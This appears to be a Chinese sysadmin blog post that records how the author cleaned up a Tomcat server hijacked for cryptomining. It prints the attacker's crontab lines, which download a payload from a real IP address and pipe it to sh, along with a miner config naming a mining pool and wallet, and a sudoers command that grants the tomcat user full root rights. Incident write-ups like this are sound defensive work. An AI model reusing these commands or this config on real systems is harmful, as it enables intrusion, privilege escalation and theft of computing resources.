线上一台应用服务器报警,负载过高,这个就诡异了,因为只是一个普通的服务器,应用使用人员不到10个人,咋会负载高,肯定有问题哪,登陆上去查看,

top查看哪个占据的cpu资源比较多

[root@aew01~]# top
top - 14:27:49 up 423 days, 22:48,  3 users,  load average: 2.10, 1.85, 1.66
Tasks: 166 total,   1 running, 164 sleeping,   0 stopped,   1 zombie
Cpu0  : 45.4%us,  0.8%sy,  0.0%ni, 53.8%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Cpu1  : 38.2%us,  0.8%sy,  0.0%ni, 59.8%id,  0.0%wa,  0.0%hi,  1.2%si,  0.0%st
Mem:  14389372k total, 14233284k used,   156088k free,    12388k buffers
Swap: 33554428k total,  1511980k used, 32042448k free,    40140k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
39674 tomcat    20   0  223m 2808  412 S 75.0  0.0   4031:53 atd
54892 tomcat    20   0 10.1g 3.6g 4816 S  4.6 26.4 969:07.52 java  

[tomcat@aew01~]$ crontab -l
 */20 * * * * wget -O - -q http://91.230.47.40/icons/logo.jpg|sh
 */19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh
[tomcat@aew01~]$

看到有一个atd进程,这是什么鬼? 查看atd进程

[root@aew01~]# ps -eaf|grep 39674
root     39023 37026  0 14:28 pts/0    00:00:00 grep 39674
tomcat   39674     1 85 Jul15 ?        2-19:12:05 ./atd -c bmsnxvpggm.conf -t 1
[root@aew01~]#

再查看atd执行脚本组件,看到是一个编译之后的可执行组件

[root@aew01~]# find / -name atd
/usr/sbin/atd
/etc/sysconfig/atd
/etc/pam.d/atd
/etc/rc.d/init.d/atd
/var/tmp/atd
[root@aew01~]# more /usr/sbin/atd

******** /usr/sbin/atd: Not a text file ********

[root@aew01~]#

查看配置文件bmsnxvpggm.conf

[root@aew01~]# more /var/tmp/bmsnxvpggm.conf
{
    "url" : "stratum+tcp://94.23.41.130:80",
    "user" : "49mQCzecsC6TS1sNBj5XQX4dNG8MESvLGLPHYJLKohVCQivAB5jJw2xHokTpjtSfE3D8m2U3JjDGEWJMYLrN216CM3dRpBt",
    "pass" : "x",
    "algo" : "cryptonight",
    "quiet" : true
}
[root@aew01~]#

看来是被盯上了,攻击了。kill掉进程

[root@aew01~]# kill -9 39979
[root@aew01~]# ps -eaf|grep atd
root     40917 37026  0 14:48 pts/0    00:00:00 grep atd
[root@aew01~]#

然后负载降下来了,但是可恶的是,不到5分钟,负载又上来了,一看又是atd这个进程在运行,进去查看tomcat的crontab任务,发现已经被写进crontab任务了,于是注释掉crontab任务。

    [tomcat@aew01~]$ crontab -l
     */20 * * * * wget -O - -q http://91.230.47.40/icons/logo.jpg|sh
     */19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh
    [tomcat@aew01~]$

然后又查看历史操作,有这样一个命令echo “tomcat ALL=(ALL) ALL” >> /etc/sudoers曾经被执行过

echo “tomcat ALL=(ALL) ALL” >> /etc/sudoers

,于是,为了安全起见,进配置/etc/sudoers文件里面,注释掉 #tomcat ALL=(ALL) ALL这一行,然后重启tomcat应用程序。

彻底检查了下应用服务器所对于的db服务器,发现db没有被攻击,各种数据账号安全,又迅速修改了数据库账号密码等等。



BTY:最终的彻底的解解决方案还是需要应用开发人员,堵住tomcat的漏洞,避免黑客使用tomcat漏洞获得应用服务器的tomcat账号权限,进而登陆应用服务器,将应用服务器做成肉鸡,不停的往外发包。

Tomcat应用服务器被黑客 肉鸡攻击 记录的更多相关文章

  1. 谣传QQ被黑客DDOS攻击,那么Python如何实现呢?

    于2018-5-10日晚 网络流传黑客DDOS攻击了QQ服务器,导致大家聊天发送内容时出现感叹号.我们都知道一般情况下出现感叹号都是你的网络不稳定,或者...别人已经删除你了.然而昨晚很奇怪,发出的内 ...

  2. 2018年,传言QQ首次被神秘黑客DDOS攻击,Python可以实现?

    于2018-5-10日晚 网络流传黑客DDOS攻击了QQ服务器,导致大家聊天发送内容时出现感叹号.我们都知道一般情况下出现感叹号都是你的网络不稳定,或者...别人已经删除你了.然而昨晚很奇怪,发出的内 ...

  3. OSGI嵌入tomcat应用服务器(gem-web)——tomcat插件环境搭建

    相关的资源下载,参考:https://www.cnblogs.com/dyh004/p/10642769.html 新建普通的plugin工程 新建工程运行环境 在工程中,新建运行环境 新建存放运行环 ...

  4. tomcat应用服务器

    Tomcat性能调优方案 一.操作系统调优 对于操作系统优化来说,是尽可能的增大可使用的内存容量.提高CPU的频率,保证文件系统的读写速率等.经过压力测试验证,在并发连接很多的情况下,CPU的处理能力 ...

  5. Servlet、Tomcat访问(access)日志配置、记录Post请求参数

    一.运行环境: Maven:3.5.2(点击下载) ,下载页 Tomcat:8.5.29(点击下载) ,下载页 JDK:jdk1.7.0_80(点击下载) ,下载页 MavenDependency: ...

  6. 搭建Tomcat应用服务器、tomcat虚拟主机及Tomcat多实例部署

    一.环境准备 系统版本:CentOS release 6.6 (Final) x86_64 Tomcat版本:tomcat- JDK版本:jdk-8u25-linux-x64 关闭防火墙 软件包下载地 ...

  7. UVa 11825 黑客的攻击(状态压缩dp)

    https://vjudge.net/problem/UVA-11825 题意: 假设你是一个黑客,侵入了一个有着n台计算机(编号为0,1,...,n-1)的网络.一共有n种服务,每台计算机都运行着所 ...

  8. JTA集成JOTM或Atomikos配置分布式事务(Tomcat应用服务器)

    一.以下介绍Spring中直接集成JOTM提供JTA事务管理.将JOTM集成到Tomcat中. (经过测试JOTM在批量持久化时有BUG需要修改源码GenericPool类解决)! 参考文章http: ...

  9. UVA11825 黑客的攻击 Hackers' Crackdown 状压DP,二进制,子集枚举

    题目链接Click Here [题目描述] 假如你是一个黑客,侵入了一个有着\(n\)台计算机(编号为\(1.2.3....n\))的网络.一共有\(n\)种服务,每台计算机都运行着所有服务.对于每台 ...

随机推荐

  1. 【JavaScript】满天星

    参考: 1.http://www.w3school.com.cn/tags/canvas_filltext.asp 2.产生随机数:http://www.cnblogs.com/banbu/archi ...

  2. 一步一步教你读懂NET中IL

    .NET CLR 和 Java VM 都是堆叠式虚拟机器(Stack-Based VM),也就是说,它们的指令集(Instruction Set)都是采用堆叠运算的方式:执行时的资料都是先放在堆叠中, ...

  3. 常用iptables命令

    1.不让某个ip访问本机的80端口: iptables -t filter -I INPUT -p tcp -s 192.168.222.163 --dport 80 -j DROP 2.实现把访问 ...

  4. shell脚本 入门 —— 符号篇

    shell Shell就是一个命令行解释器,它的作用是解释执行用户的命令,用户输入一条命令,Shell就解释执行一条,这种方式称为交互式(Interactive). Shell还有一种执行命令的方式称 ...

  5. Java实验五网络编程与安全

    实验五 网络编程与安全 实验准备 博客 活动一 两人一组结对编程: 0. 参考http://www.cnblogs.com/rocedu/p/6766748.html#SECDSA 1. 结对实现中缀 ...

  6. TRUNC函数的用法

    TRUNC函数用于对值进行截断. 用法有两种:TRUNC(NUMBER)表示截断数字,TRUNC(date)表示截断日期. (1)截断数字: 格式:TRUNC(n1,n2),n1表示被截断的数字,n2 ...

  7. MyCat分片集群

    数据库集群会产生的问题: 自增ID问题 数据关联查询问题(水平拆分) 数据同步问题 数据库集群 自动增长id产生重复的话,解决: UUID形式  (没有排序 不是自增) 设置数据库步长 其他方案: r ...

  8. Shell awk 求标准差

    cat > temp000180255798957892187719 awk '{x[NR]=$0; s+=$0; n++} END{a=s/n; for (i in x){ss += (x[i ...

  9. 利用war包和Tomcat镜像创建Web镜像

      from hub.c.163.com/library/tomcat:tag #代表以tomcat镜像为基础 MAINTAINER huhuixin 18611551449@163.com #代表所 ...

  10. java 与大数据学习较好的网站

    C# C#中 Thread,Task,Async/Await,IAsyncResult 的那些事儿!https://www.cnblogs.com/doforfuture/p/6293926.html ...